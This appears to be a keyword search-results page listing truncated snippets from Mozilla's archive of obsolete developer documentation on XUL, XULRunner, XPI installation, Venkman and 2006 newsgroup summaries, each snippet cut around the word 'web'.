webapp is being issued with an appropriate MIME type on the server: application/x-
webapp works (see an example ). ...
Remote XUL - Archive of obsolete content
Note: Support for remote XUL has long been a potential security concern; support for it was disabled in Gecko 2.0. This also means you can't load XUL using file:// URLs unless you set the preference dom.allow_XUL_XBL_for_file to true. However, there is a whitelist that lets you specify sites that can still use remote XUL. ...
SXSW 2007 presentations - Archive of obsolete content
Presentations about the Mozilla project given at the SXSW 2007 event in Austin, Texas. The Open
Web - Brendan Eich Brendan Eich discusses the various issues related to the openness of the
web and
web standards, and explains Mozilla's position on the subject. ...
Supporting private browsing mode - Archive of obsolete content
sing;1"] .getService(Components.interfaces.nsIPrivateBrowsingService); var inPrivateBrowsingMode = pbs.privateBrowsingEnabled; if (!inPrivateBrowsingMode) { /* save private information */ } In the above example, we only save the user's private information if not in private browsing mode. Note: Private browsing mode may only be detected by chrome code, such as extensions;
web content cannot detect whether or not private browsing is in effect. Detecting whether private browsing mode is permanent Requires Gecko 2.0(Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1) Firefox 4 added support for having private browsing mode permanently enabled. The theme looks different in this scenario. To determine whether or not the browser is permanently in private browsing mode, y...
Venkman Internals - Archive of obsolete content
y knowledge of Venkman, which is quite limited. You would be better off asking Silver (James Ross). GijsKruitbosch 05:41, 7 March 2007 (PST) venkman-debugger.js Sets hooks in to the jsdIDebuggerService. initDebugger(). ScriptManager In initDebugger() the previous loaded scripts are passed to an onScriptCreated() method which binds them to a ScriptManager. There is one ScriptManager per url (
web page). This method is set into jsdIScriptHook.onScriptCreated venkman-views.js Views are the panels shown within the venkman window. For example, the "Open Windows" view shows the browser's windows. venkman-records.js A "record" seems to be data underlying a view. For example, FrameRecord represents a JavaScript stack frame. venkman-msg.js Localization code, reads venkman.properties from...
Using Breakpoints in Venkman - Archive of obsolete content
important aspects of debugging a script or software program is the ability to examine variables--function return values, errors, counters, variable scopes--as they change over the course of the script execution. The onFlipX function in Figure 1, for example, uses the variable newSign to figure out what image to use for the fish. When you set a breakpoint at line 81, you can start animation on the
web page in the browser window and see Venkman stop execution as it enters the onFlipX function. Stopped there, Venkman displays the value of the newSign variable as "1" in the Local Variables View. Using breakpoints and the Interactive View, you can change the values of the variables that Venkman displays (only in the context of the debugging environment itself) and see how these changes affect the...
Elements - Archive of obsolete content
indings%3E%0A); } Since data: URLs don't support fragment identifiers, the first binding found in the embedded XML is used instead. Keep in mind that the binding is still required to have an ID even though you're not referencing it. In addition, data: URLs are only supported from chrome code (in other words, from the application or an extension). Note: The normal same-origin policy is used for
web sites; they can only link to XBL files on the same domain, or within the chrome. For clarity's sake, here's what the embedded XML in the previous example looks like: <?xml version="1.0"?> <bindings id="xbltestBindings" xmlns="http://www.mozilla.org/xbl"> <binding id="xbltest"><content>PASS</content></binding> </bindings> Only CSS declarations provide an easy way to attach bindings to any se...
Creating XPI Installer Modules - Archive of obsolete content
ay that the Mozilla UI is packaged and installed. Though the chrome directory still includes subdirectories of uncompressed files by default, a new way to aggregate and distribute the files has improved performance, made the UI components more portable and easier to install, and made the installation process a much easier one. However, this new arrangement does not make things much easier for the
web or user interface developer. The relatively simple process of finding the appropriate resources (i.e. XUL, JavaScript, or CSS files) in the chrome subdirectories and editing them with a text editor has been replaced by something a lot of developers find more confusing and esoteric. This article describes the new packaging scheme of Mozilla and offers a tutorial for creating a new package that can...
Install script template - Archive of obsolete content
You can also simply call refreshPlugins() } else cancelInstall(errBlock1); // PLID solution -- write keys to the registry /** * Function for secondary installation of plugin (FirstInstall). * You should not stop the install process because the function failed, * you still have a chance to install the plugin for the already * installed gecko bro...
Trigger Scripts and Install Scripts - Archive of obsolete content
Triggers use the InstallTrigger object methods to compare software versions, install chrome, and perform simple software installations. Install scripts use the Install, File, InstallVersion and platform-specific installation object methods to initialize, queue, manage, and perform the installation of one or more software packages. These install scripts are typically located at the top level of the XPI archives in which the installations are stored. ...
refreshPlugins - Archive of obsolete content
refreshPlugins Refreshes the list of plug-ins registered for the browser. Method of Install object Syntax int refreshPlugins( [ aReloadPages ] ); Parameters The refreshPlugins method has the following parameter: aReloadPages aReloadPages is an optional boolean value indicating whether you want to reload the open
web pages after you have refreshed the plug-in list. Returns Nothing. Description refreshPlugins lets you register new plug-ins without having to restart the browser. When you use this method in an installation script, as the example below demonstrates, you can install new plug-ins and use them to display the requested media in a
web page without interrupting the experience of the user. Note that refreshPlugins must be called after the performInstall method th...
Properties - Archive of obsolete content
particular plugin developers should see how to package a plugin as an extension. Properties archive Full local path of the archive after it is downloaded to the platform specific temp folder. (e.g. C:\TEMP\argstest.xpi) arguments args can be passed in through the triggering APIs by attaching a ? and then the rg string to the xpi URL: (e.g. startSoftwareUpdate("http://
webserver/argstest.xpi?ARGUMENT_STRING") will result in the value of Install.arguments being ARGUMENT_STRING #). Note that spaces in the arg string are legal. Everything after the question mark is treated as one string which becomes the Install.arguments property. buildID The application build ID in the form 20041231. Note that due to branching (different versions of Gecko with differen...
Install Object - Archive of obsolete content
kaging scheme with an install.rdf manifest. In particular plugin developers should see how to package a plugin as an extension. Install Use the Install object to manage the downloading and installation of software with the XPI Installation Manager. Overview The Install object is used primarily in installation scripts. In all cases, the Install object is implicit--like the window object in regular
web page scripts--and needn't be prefixed to the object methods. The following two lines, for example, are equivalent: f = getFolder("Program"); f = Install.getFolder("Program"); An installation script is composed of calls to the Install object, and generally takes the following form: Initialize the installation Call initInstall with the name of the installation and the necessary reg...
XPJS Components Proposal - Archive of obsolete content
does not provide all of the infrastructure to register and instantiate JS components outside of the limitations of the browser window. XPJS will provide that infrastructure. So what does this mean? The XPJS Component system will support implementing xpcom services, factories, and components in JavaScript. It will support service and factory registration. These components will be independent of
web content and browser windows. They will run from the user's disk just like native components. How will it work? The overriding principle is to make this work as much like native components as possible. XJS Components will 'live' in.js files. Just as with native component modules each of these .js files will be expected to have the functions: NSRegisterSelf NSGetFactory NSUnregisterSelf (opt...
datasources - Archive of obsolete content
within the same document. For instance, the reference '#data' refers to an element with the id 'data'. If you plan on adding a datasource to an element but don't want one to be added right away, set this attribute to 'rdf:null'. This will make the element so that its contents can be generated from a datasource. Otherwise, you cannot add one later. When the XUL document is contained on a remote
web site, the datasources may only be loaded from the same domain as the document. ...
script.type - Archive of obsolete content
Type: language content type The language of the script. Usually, you would set this to application/javascript. Note: If the JavaScript file is in chrome://, setting this attribute to application/javascript will always use the latest available JavaScript version. If you omit this attribute, the default (and older) JavaScript version is used (like you get when including a JavaScript file from
web content without specifying a version number). ...
Dynamically modifying XUL-based user interface - Archive of obsolete content
structure of every document is a tree, with nodes being elements, attributes, processing instructions, comments, etc. Use the DOM Inspector tool to see the tree representation of any document. Todo: simple example of a XUL document and a tree You can think of a document as an in-memory representation of valid HTML or well-formed XML such as XHTML or XUL. It is important to remember that different
web pages (and even different instances of the same
web page) correspond to different documents. Each XUL window has its own distinct document, and there may even be a few different documents in a single window, when there is an <iframe>, <browser>, or a <tabbrowser> element. You must be sure to always manipulate the correct document. (Read more about this in Working with windows in chrome code.) Whe...
IO - Archive of obsolete content
ubdirectories. var file = IO.getFile("Profile", "subdirname"); For more information about using directories, see Working with Directories. Specifically, to create a directory, see Creating Directories and to retrieve a list of files or subdirectories within a directory, see Iterating over the Files in a Directory. Upload and Download Files Upload Files To learn how to upload and post files to a
web site, see Uploading and Downloading Files. Download Files To learn how to download and save a file from a
web site to disk, see Downloading Files. ...
Menus - Archive of obsolete content
menu_viewPopup The menupopup associated with the 'View' menu. goPopup The menupopup associated with the 'Go/History' menu. menu_ToolsPopup The menupopup associated with the 'Tools' menu. menu_HelpPopup The menupopup associated with the 'Help' menu. menu_viewSidebarMenu The menupopup for the 'Sidebar' submenu on the 'View' menu. menu
WebDeveloperPopup The menupopup for the '
Web Developer' submenu on the 'Tools' menu. Firefox context menu Element ID Description Relevant context contentAreaContextMenu The popup for the context menu when a
web page is displayed in the browser area. spell-no-suggestions The no spelling suggestions item - notable as it is the first item on the...
International characters in XUL JavaScript - Archive of obsolete content
it yourself to ASCII. However, you can use unicode escapes - the earlier example rewritten using them would be: var text = "Ein sch\u00F6nes Beispiel eines mehrsprachigen Textes: \u65E5\u672C\u8A9E"; An alternative might be to use property files via nsIStringBundle or the XUL <stringbundle> element; this would allow for localization of the XUL. This can not be done in XUL files loaded from the
web, only in privileged code, e.g. in extensions. ...
addTabsProgressListener - Archive of obsolete content
<< XUL Reference home addTabsProgressListener( listener ) Return type: no return value Add a progress listener to the browser which will monitor loaded documents in all tabs in the tabbed browser. The progress listener should be based on the nsI
WebProgressListener interface with an additional "browser" argument as the first argument of every method, which is the browser (not <tabbrowser> = gBrowser) where the event occurred. See Listening to events on all tabs for details. ...
reloadWithFlags - Archive of obsolete content
You may combine flags using a or symbol ( | ). LOAD_FLAGS_NONE: No special flags. The document is loaded normally. LOAD_FLAGS_BYPASS_CACHE: Reload the page, ignoring if it is already in the cache. This is the flag used when the reload button is pressed while the Shift key is held down. ...
ContextMenus - Archive of obsolete content
er"> <label value="Name:"/> <textbox/> </row> </rows> </grid> The same context menu can be attached to multiple elements. Just set the context attribute on those elements you want the context menu to apply to. One technique is to attach a context menu to an entire document area. For instance, the Firefox browser applies a single context menu to the browser area which displays
web pages. For example, the following will attach a context menu with the id 'contentAreaContextMenu' to a browser element: <browser context="contentAreaContextMenu"> Indicating the Default Item On some platforms, one of the items in a context menu is marked as being a default operation. Typically, this will cause the menuitem's label to appear in the context menu in bold. What constitutes the de...
OpenClose - Archive of obsolete content
s already open doesn't have any effect. if the menu is a child of another menu and the parent menu is not open. In this case, the parent menu must be opened first. If you do want to open a submenu, open the parent menu first, and then open the child menu in a popupshown event listener. See The popupshown event for an example of how to do this. a menu in an unprivileged content window (such as a
web page) can only open a popup while its window is focused, and it is in the currently active tab. That means that a document in a background tab cannot open a menu or popup. Closing Menus Menus will close automatically once the user has made a selection from the menu. When an menu item is selected, it fires a command event so that code may be used to perform an action. The user may cancel select...
Property - Archive of obsolete content
mmentColumn showPopup size smoothScroll spinButtons src state statusbar statusText stringBundle strings style subject suppressOnSelect tabContainer tabIndex tabs tabScrolling tabpanels tag textLength textValue timeout title toolbarName toolbarset tooltip tooltipText top treeBoxObject type uri userAction value valueNumber view
webBrowsereFind
webNavigation
webProgress width wizardPages wrapAround year yearLeadingZero Related DOM element properties DOM:element.attributes DOM:element.baseURI DOM:element.childElementCount DOM:element.childNodes DOM:element.children DOM:element.clientHeight DOM:element.clientLeft DOM:element.clientTop DOM:element.clientWidth DOM:element.cloneNode DOM:eleme...
Introduction - Archive of obsolete content
data arrives. Of course, since the data arrives so quickly from the network, you really don't notice this. If the datasource is already loaded, the builder can construct content all in one step, although even this isn't completely true as we'll see later. For XML datasources, use a querytype of xml. The datasources attribute should be the URL of an XML file, which can be either the location of a
web site or a file on the local file system, using its file or chrome URL. This file will be loaded and the resulting XML document will be used as the datasource when the template builder generates results and creates content. For example: <listbox datasources="http://www.xulplanet.com/ds/sample.xml" querytype="xml"> <template> <listitem label="?name"/> </template> </listbox> This template u...
Special Condition Tests - Archive of obsolete content
<< PreviousNext >> There are several additional types of conditional tests that may be performed. Parent Tag Tests Sometimes you want to simply generate one block of content at the top level and different content at the recurisive level. For example, the bookmarks toolbar in a
web browser might display buttons at the first level, but menus and submenus for content below that. Templates have a means of allowing a rule to match only if the generated content would be inserted inside an element with a particular tag name. For instance, if the container was a <vbox>, a rule could be created that would only match a <vbox> element. This is useful for recursive templates, since the inner iterations may use different content. It's most useful to distinguish between the outer and inner...
XML Templates - Archive of obsolete content
ns of the XML document and generate content from these. When an XML source is desired, specify a querytype attribute on the root node of the template to the value xml. This indicates to the template builder that an XML source is being used as that the queries use syntax that is specific to XML. The datasources attribute should be set to the URL of an XML document, either a local file or a remote
web site. The ref attribute isn't currently used for XML sources, as the root of the document is always the starting point for XML queries; you should just set the ref attribute to a dummy value, for example '*' which is typically used. An example: <listbox datasources="people.xml" ref="*" querytype="xml"> <template> ... </template> <listbox> The URL in the datasources attribute may be a r...
Custom toolbar button - Archive of obsolete content
the files carefully. To see the effect of any change that you make, restart the application. Advanced troubleshooting If you have some technical knowledge, then you can use the application's JavaScript console to see error messages. However, you might see messages that are unhelpful or confusing, or that come from other parts of the application. To open the JavaScript console, choose Tools -
Web Developer- Browser Console, and enable JS. Or use short cut "Ctrl + Shift + J" Messages in the JavaScript console can provide information about JavaScript, XUL or CSS files. Note: The preference setting javascript.options.strict imposes restrictions that are not appropriate for the simple scripts in this tutorial. If you choose to use this setting, either ignore the warnings that it generates, ...
Adding Buttons - Archive of obsolete content
led" disabled="true"/> The examples above will generate the buttons in the image. The first button is a normal button. The second button is disabled so it appears greyed out. We'll start by creating a simple Find button for the find files utility. The example code below shows how to do this. <button id="find-button" label="Find"/> Note: Firefox does not allow you to open chrome windows from
web pages, so the View links in the tutorial will open in normal browser windows. Due to this, the buttons will appear to stretch across the window. You can add align="start" to the window tag to prevent the stretching. The findfile.xul example Let's add this code to the file findfile.xul that we created in the previous section. The code needs to be inserted in-between the window tags. The code to...
Adding Event Handlers - Archive of obsolete content
orm: <script src="findfile.js"/> <script src="chrome://findfiles/content/help.js"/> <script src="http://www.example.com/js/items.js"/> This tutorial does not attempt to describe how to use JavaScript (except as related to event handling) as this is a fairly large topic and there are plenty of other resources that are available for this. By default the JavaScript console only shows errors from
web content. To show errors in chrome JavaScript, it is necessary to change the preference javascript.options.showInConsole to true. You can also change the preference javascript.options.strict for debugging. By setting this value to true, non-standard, poorly written, or syntax prone to cause logic errors are logged to the JavaScript console. Responding to Events The script will contain code which...
Commands - Archive of obsolete content
fy if desired. If the focus is inside a frame, each frame leading to the top-level window is checked as as well. This means that commands will work even if the focus is inside a frame. This works well for a browser, since editing commands invoked from the main menu will work inside the content area. Note that HTML also has a commands and controller system although you can't use it on unprivileged
web pages, but you may use it from, for example, a browser extension. If the window doesn't provide a controller capable of handling the command, nothing will happen. You can get the command dispatcher using the document's commandDispatcher property, or you can retrieve it from the controllers list on an element or a window. The command dispatcher contains methods for retrieving controllers for comm...
Introduction - Archive of obsolete content
n the other two are applications which are created in the same way as an extension, but they act like a separate application in a separate window. This is used when you don't want to have the larger size of a complete XULRunner application, but don't mind requiring a Mozilla browser to be installed to be able to run the application. Remote XUL application You could also just place XUL code on a
web server and open it in Firefox, as you would any other
web page, however this is discouraged and was disabled in Firefox 8. It is still possible to enable this for selected sites to let legacy apps to continue working, but for new remote applications you should use HTML to create your user interface instead; most of the features you used to have to use XUL for are available in HTML5. The first ...
Introduction to RDF - Archive of obsolete content
In the next section, we'll look at how we can use these to fill in the field values automatically. Note that the last visited date has a slightly different namespace than the other three. RDF/XML file example Below, a sample RDF/XML file is shown, listing a table with t...
Manifest Files - Archive of obsolete content
ad. This is good for development since you don't have to package up all the files every time you change them. However, when distributing an application or extension, you will want to package them into an archive to avoid having to install lots of smaller files. The xpcnativewrappers=yes part at the end of the manifest line is a flag that may optionally be used. In JavaScript, it is possible for a
web page to override built-in functions with their own code. If the xpcnativewrappers flag is specified, it indicates that scripts running in a privileged context don't call these overridden versions, but the original built-in versions instead. Otherwise, if an extension attempted to call the modified versions, it would likely not work properly, or worse, create a security hole. This flag was added t...
Modifying the Default Skin - Archive of obsolete content
ese files, you can change the look of the XUL applications. Customize with userChrome.css If you place a file called 'userChrome.css' in a directory called 'chrome' inside your user profile directory, you can override settings without changing the archives themselves. This directory should be created when you create a profile and some examples placed there. The file 'userContent.css' customizes
Web pages, whereas 'userChrome.css' customizes chrome files. For example, by adding the following to the end of the file, you can change all menubar elements to have a red background. menubar { background-color: red; } If you open any Firefox window after making this change, the menu bars will be red. Because this change was made to the user style sheet, it affects all windows. This means that ...
The Chrome URL - Archive of obsolete content
of the chrome URL. The following URL will refer to the bookmarks window, listed for Firefox: chrome://browser/content/bookmarks/bookmarksManager.xul You can enter chrome URLs anywhere normal URLs can be used. You can even enter them directly into the URL bar in a Firefox browser window. If you enter the URL mentioned above into the browser's address bar, you should see that window appear like a
web page might do and for the most part will function as if it was a separate window. Some dialog boxes may not work right, however, as they may be expecting arguments to be supplied from the window that opened them. You will also see chrome URLs without specified filenames, such as: chrome://browser/content/ In this case, only the package name and part is specified. This type of reference will auto...
Using nsIXULAppInfo - Archive of obsolete content
Starting with Mozilla/XULRunner 1.8, there now is a way to find out which application, application version, and Gecko version your code is running on. This is useful, for example, for extensions that support several Mozilla-based applications or several versions of a single application. This is not useful for scripts on
webpages, which should continue using the navigator object when it's not possible to rely on feature-detection. nsIXULAppInfo interface To distinguish between different Mozilla-based applications, use the frozen nsIXULAppInfo interface. The following sections provide a few examples of using nsIXULAppInfo from JavaScript. Note that while Firefox 1.5, Thunderbird 1.5, and XULRunner 1.8-based applications support nsIXULAppInfo, older applications, such as Firefox and ...
Using spell checking in XUL - Archive of obsolete content
Spell checking functionality is available starting in Firefox 2. This document describes how to use the mozISpellCheckingEngine component to add spell checking capabilities to your Firefox extension. See Controlling spell checking in HTML forms for details on adding spell check support to HTML forms for your
website. Checking the spelling of a word To check the spelling of a word, you must first create an interface to the mozISpellCheckingEngine component and then call the check() method on the string you wish to test. This method returns true if the word is correctly spelled, or false if it's not. You may also want to check to see if the word is in the user's personal dictionary, since sometimes a word might be correctly spelled but in the dictionary. // Different versions of Firefox h...
Using the Editor from XUL - Archive of obsolete content
lds the owning reference to it. Through the magic of XBL, the XUL bindings, and the nsIEditorBoxObject interface, you can get a JavaScript reference to the editorShell from the editor element with element.editorShell. We thus have an editorShell to play with. Now we set up the editorShell by calling its Init() method, telling it what type of editor we want (text or HTML), pointing it at the
webShellWindow to use, and telling it the content node that it lives on: editorShell.Init(); editorShell.SetEditorType(editorType); editorShell.
webShellWindow = window; editorShell.contentWindow = window._content; The
webShellWindow (a settable attribute on nsIEditorShell) points to the top-level window element, from which the editorShell can get the XUL document in which it is living. It needs...
XUL Accesskey FAQ and Policies - Archive of obsolete content
For example, an Apply button may have the letter A underlined. On Windows and UNIX, pressing ALT+A is a convenient way to push that button. On Macintosh, accesskeys are available only in HTML not in XUL, and they are activated using CTRL+letter instead of ALT. How is an accesskey added to a form control? An accesskey can be added to an HTML or XUL form control or label by using the accesskey attribute. ...
XUL element attributes - Archive of obsolete content
within the same document. For instance, the reference '#data' refers to an element with the id 'data'. If you plan on adding a datasource to an element but don't want one to be added right away, set this attribute to 'rdf:null'. This will make the element so that its contents can be generated from a datasource. Otherwise, you cannot add one later. When the XUL document is contained on a remote
web site, the datasources may only be loaded from the same domain as the document. dir Type: one of the values below The direction in which the child elements of the element are placed. normal For scales, the scale's values are ordered from left to right (for horizontal scales) or from top to bottom (for vertical scales) For other elements, the elements are placed left to right or top...
notificationbox - Archive of obsolete content
Also it is possible to call function with the same name (they are different) of global object gBrowser: notifyBox = gBrowser.getNotificationBox() Examples <notificationbox flex="1"> <browser src="http://www.mozilla.org"/> </notificationbox> There is a more complex code available in the Code Snippets area. Proper...
script - Archive of obsolete content
Type: language content type The language of the script. Usually, you would set this to application/javascript. Note: If the JavaScript file is in chrome://, setting this attribute to application/javascript will always use the latest available JavaScript version. If you omit this attribute, the default (and older) JavaScript version is used (like you get when including a JavaScript file from
web content without specifying a version number). Inherited from XUL element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient...
XUL - Archive of obsolete content
ent from a datasource. Drag and Drop How to perform drag and drop operations. Overlays Overlays are used to describe extra content for the UI. They provide a powerful mechanism for extending and customizing existing XUL applications. XUL Periodic Table This collection of XUL demos used to be available as a
web page, but can no longer be viewed in Firefox since support for Remote XUL was disabled. There is a XULRunner application containing the XUL Periodic Table which can be opened with Gecko based browsers. You can get it here. See: Using Firefox 3 to run XULRunner applications for instructions on running XULRunner apps in Firefox. View Al...
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
XULRunner 1.8.0.4 is now available as a security/stability update; all users should install this new version. System Requirements Before installing, make sure your computer meets the system requirements. The system requirements for XULRunner are the same as the system requirements for Firefox. ...
XULRunner 1.9.1 Release Notes - Archive of obsolete content
XULRunner 1.9.1.x is built from the same source code snapshot as Firefox 3.5.x. Current Version The current version of XULRunner is 1.9.1.19, matching Firefox 3.5.19 Detailed release notes can be found here. System Requirements Before installing, make sure your computer meets the system requirements. ...
XULRunner 1.9.2 Release Notes - Archive of obsolete content
XULRunner 1.9.2.x is built from the same source code snapshot as Firefox 3.6.x. Current Version The current version of XULRunner 1.9.2 is 3.6.26, matching Firefox 3.6.26 Detailed release notes can be found here. System Requirements Before installing, make sure your computer meets the system requirements. ...
XULRunner 2.0 Release Notes - Archive of obsolete content
XULRunner 2.0.x is built from the same source code snapshot as Firefox 4.0.x. Current Version The current version of XULRunner 2.0 is 2.0, matching Firefox 4.0 Detailed release notes can be found here. System Requirements Before installing, make sure your computer meets the system requirements (NB: that page will change for Firefox 4 shipping). ...
Custom app bundles for Mac OS X - Archive of obsolete content
tes the whole package as an application bundle. The first sub-directory is called Contents and within that directory you will place several files and folders that are needed by your application bundle. Info.plist and PkgInfo must exist in the Contents directory. The content of these files is covered in the article Deploying XULRunner 1.8. Examples These example files are taken from a port of
WebRunner which was created to illustrate one method of Mac OS X application packaging. Top-level directory Info.plist PkgInfo See also XULRunner - Tips XULRunner - Mac FAQ External Links Inside Application Bundles Property List Key Reference xrtemplate ...
XULRunner FAQ - Archive of obsolete content
l of XULRunner is to facilitate development and deployment of Internet applications. It is not meant to be a full-featured runtime; this allows XULRunner to maintain a smaller footprint and simpler deployment strategy than generic full-featured runtimes. If I use XULRunner do I have to write my application in XUL? No! You can write your application in any language supported by the Mozilla
web platform, including HTML, XHTML, SVG, or XUL. So why is it called XULRunner, instead of HTMLRunner or something? XUL was always the original language of choice for UI in mozilla applications and the main library is called libXUL, mostly the name is a hangover from that that has now stuck. When will Firefox be based on XULRunner? There is no intention to do this for official releas...
2006-11-10 - Archive of obsolete content
cements ACM Transactions on Accessible Computing "Transactions on Accessible Computing (TACCESS) is a quarterly journal that publishes refereed articles addressing issues of computing as it impacts the lives of people with disabilities." Read more... Publication for the first issue is expected in Fall 2007. W4A 2007 First Call for Papers The Fourth International Cross-Disciplinary Cofnerence on
Web Accessibility (W4A 2007) Co-Located with the Sixteenth International World Wide
Web Conference (WWW2007), in Banff, Canada. IMPORTANT DATES: TECHNICAL Submissions: Monday 19th Feb 2007 TECHNICAL Paper Notification: Friday 16th March 2007 COMMUNICATION Submissions: Monday 26th March 2007 COMMUNICATION Paper Notification: Friday 06th April 2007 ALL Camera ready Due: Monday 16th April 2007 Conferenc...
2006-10-13 - Archive of obsolete content
about a font rendering problem with Firefox Print on the Firefox context menu User would like discussion about why the bug https://bugzilla.mozilla.org/show_bug.cgi?id=204519 is a WONTFIX. (User feels Print belongs on the context menu along with Back, Reload, etc.) Questions About Programming For Firefox A Student questions how to create an extension that changes fonts, and how to capture
website content before it is displayed. Firefox add-on wanted User is inquiring if there is such an application to automatically save pieces of a
webpage everytime is it updated. Firefox 2.0 should re-implement modal window.open to support
Web 2.0 User would like the option to show pop-up windows, using window.open(), from inside untrusted script, to be re-implemented. This function was disab...
2006-10-20 - Archive of obsolete content
y Reviewers A discussion revolving around the quality of RSS readers in IE7, Firefox and other assorted browsers. Also a debate about which browser is "beating" which to a lesser extent further in the discussion. How to create firefox extension (chrome) to add images next to URLs ? Question regarding how to make a firefox extension that would insert an image next to all links in the loaded
web pages similar to the McAfee SiteAdvisor extension. Adding support for new URI scheme Question regarding creating a new URI scheme for Firefox on Windows. Helpful information was found here on mozillaZine. Meetings None this week. Authors Sara Minchella (sara) Dave Manley (seneManley) Back to Summary List ...
2006-11-03 - Archive of obsolete content
discussion about how the search engine could be imporved. firing pageshow/pagehide when users change tabs Discussion about using events that could be fired when the user changes a tab. FF 1.5 hiding A user adds their "two cents" about Firefox 1.5 now being easily available for download. Suggestion: A Built-In Firefox Feature A user suggests a feature to compare different versions of a
webpage to see what has changed. XML in Firefox is a Major Problem A user draws attention to what they think is a bug, but the developers say it's proper browser behaviour. What GUI lib was used for developing Firefox 2.0 ? A user inquires about what GUI library is used for developing Firefox 2.0. Event in Firefox similar to OnDownloadComplete event in IE A user asks what even can be used...
2006-11-04 - Archive of obsolete content
ch Large discussion about how the search engine could be imporved. pageshow/pagehide when users change tabs Discussion about using events that could be fired when the user changes a tab. 1.5 hiding A user adds their "two cents" about Firefox 1.5 now being easily available for download. Suggestion: A Built-In Firefox Feature A user suggests a feature to compare different versions of a
webpage to see what has changed. in Firefox is a Major Problem A user draws attention to what they think is a bug, but the developers say it's propwer browser behaviour. GUI lib was used for developing Firefox 2.0 ? A user inquires about what GUI library is used for developing Firefox 2.0. in Firefox similar to OnDownloadComplete event in IE A user asks what even can be used that is simil...
2006-09-29 - Archive of obsolete content
Summary: mozilla.dev.apps.thunderbird - September 22-29, 2006 Announcements Development for Thunderjudge extension is put on hold The author of the Thunderjudge extension is currently putting the development of the extension on hold due to several issues (more details available at the
website). He is also asking if there are developers out there who know the TB core and are willing to help him out. Discussions Developer documentation issues for Thunderbird 2 Eric Shepherd has requested feedback for any developer documentation issues that might need dealing with for Thunderbird 2. Meetings None for this week. ...
2006-10-27 - Archive of obsolete content
sted that the best way to deal with this would be to ask people to wait, and let them know that they're degrading their user experience. urk responded to the posting on the same day by mentioning that they should discuss this with the Fedora Project and see what their solution to the problem is. Urk stated that currently Fedora has their release 6 directory locked out with access forbidden via
web and FTP while the mirrors are mirroring for the release tuesday. Meetings There were no meetings this week. Summarized By: Vanessa Miranda & Mohammad Tirtashi ...
2006-11-3 - Archive of obsolete content
releasing 40 to a hundred. Revisiting MozillaTranslator bugs in Bugzilla Revisiting MozillaTranslator bugs in Bugzilla dictionary packages There are some dictionaries at http://dictionaries.mozdev.org/installation.html which are not at https://addons.mozilla.org/en/dictionaries. Localization of AMO and some other pages of Mozilla.com Suggestion on localizing popular add-ons as well as
web pages at Mozilla.com. Meetings None for this week. Authors Paul Yanchun Gu (gpaul) Aditya Nanda Kuswanto(vipers101) ...
2006-11-17 - Archive of obsolete content
ts <browser/> and <tabbrowser/> the javascript popup windows don't work out of the box and asks what needs to be implement. Alex Vincent ran into some difficulty with XULRunner Extension manager not recognizing XULWidgets for Verbosio? However he found out that it was a result of his flat-chrome version of XUL Widgets and works fine with the jarred-chrome version. Boaz discuses the evolution of
web browsers towards a more "application mode" whereas a
web browser is loaded for the sole purpose of running a given
website. Boaz invites your Comments XULRunner 1.8.0.4 is running a kiosk-type application on Linux with 512Mb, and there is the appearance of a significant memory leak. Win2XUL asks for any quick pointers, opinions, experience, suggestions or Ideas on where xulrunner might leak memo...
2006-09-29 - Archive of obsolete content
cess of writing a small extension that tests Firefox's help in terms of table-of-contents and search Looking for Firefox triagers to evaluate a triage tool - A PhD student is working on a way to assist triagers. He is looking for an approach to recommend to whom a bug report should be assigned (i.e. which developer(s) has/have the correct expertise for a particular bug report). He has a working
web-based tool called Sibyl for providing both developer and component recommendations for bug reports. He is looking for triagers to try it and give him feedback. Help testing helper extension - Someone made a new extension. He needs help testing it out and wants to know how to make an iframe loads not go into the history. He also created a bug report to get rid of the help hooks in page info that...
2006-10-27 - Archive of obsolete content
! Testers are needed. Discussions Need to unit test innerHTML - Someone needs to unit test innerHTML. He recommends that a non-XPCShell environment is needed really badly, but the big issue is that the XPCShell doesn't have an event loop, so nothing asynchronous can be tested. Cross-domain testing - Someone is suggesting that there needs to be some way of running cross-domain tests (security,
web compat, etc), and is wondering if it's possible with the current test HTTP server? Update welcome page - A bug has been discovered when updating to Firefox 2.0. When the special homepage comes up after updating Firefox, the "go to your homepage" button doesn't work when multipliable tabs are set as homepage. Meetings None Authors Mark D'Souza (mdsouza) Mohamed Attar (mojo) ...
2006-11-10 - Archive of obsolete content
vember 10, 2006 Return to mozilla-dev-security Announcements None during this week. Discussions Why now? (Was: Extended Validation Certificates) A continuation of last week's discussion on Extended Validation Certificates, the there post was getting unruly at 147 replies. Good Ideas A splinter off of the Extended Validation Certificates discussion going over whether or not fraudulent
websites may get these certificates and if so how to prevent this from happening. Meetings None during this week. ...
JS-Engine FAQ - Archive of obsolete content
all getImplementationVersion() on a Context instance and it gives you a string, e.g. <tt>Rhino 1.6 release 2 2005 09 19</tt>. How to compile JavaScript into Java Invoking compiler: java org.mozilla.javascript.tools.jsc.Main [options] file1.js [file2.js...] This results in a class file. Compiler options can be vied here. Non-js-engine questions Can I call functions in Mozilla extensions from
web page? No, accessing anything in the
web page's script may lead to security problems. See XPCNativeWrapper. ...
2006-11-17 - Archive of obsolete content
.dev.tech.layout - November 11 - November 17, 2006 Announcements None this week. Discussions Testing accesskey conflicts Discussion about the complexity of access keys and how to detect conflicts there in the l10n community. Bug #360589 describes this ongoing issue. Site not loading with seamonkey A user built seamonkey in debug mode and is currently receiving a "BAD REQUEST" error on some
websites. Reflow branch testing wanted L. David Baron would like users to test the reflow branch as it is coming close to being merged with the trunk. Nightly builds, instructions and the current list of known regressions on the branch can be found at: http://wiki.mozilla.org/Gecko:Reflow...ng#Quick_Links. Users are asked to file bugs on encountered problems that are not present on the current trunk...
2006-11-17 - Archive of obsolete content
Summary: mozilla.dev.apps.calendar - November 10 - November 17, 2006 Announcements No meeting for this week. Discussions iTIP and iMIP new designs for sending invitations available for comment Discussion about the new interface designs for iTIP. view performance Discussion about tests on view performance.
webdav server A discussion related to remote calendar modifications. Calendar XPCOM Component Discussion about a debug error of AddItem function from calICalendar. Meetings No Meetings were scheduled this week. Authors Mark Paruzel Yi (Eric) Shen [Back to Weekly Summaries ] ...
NPN_GetURL - Archive of obsolete content
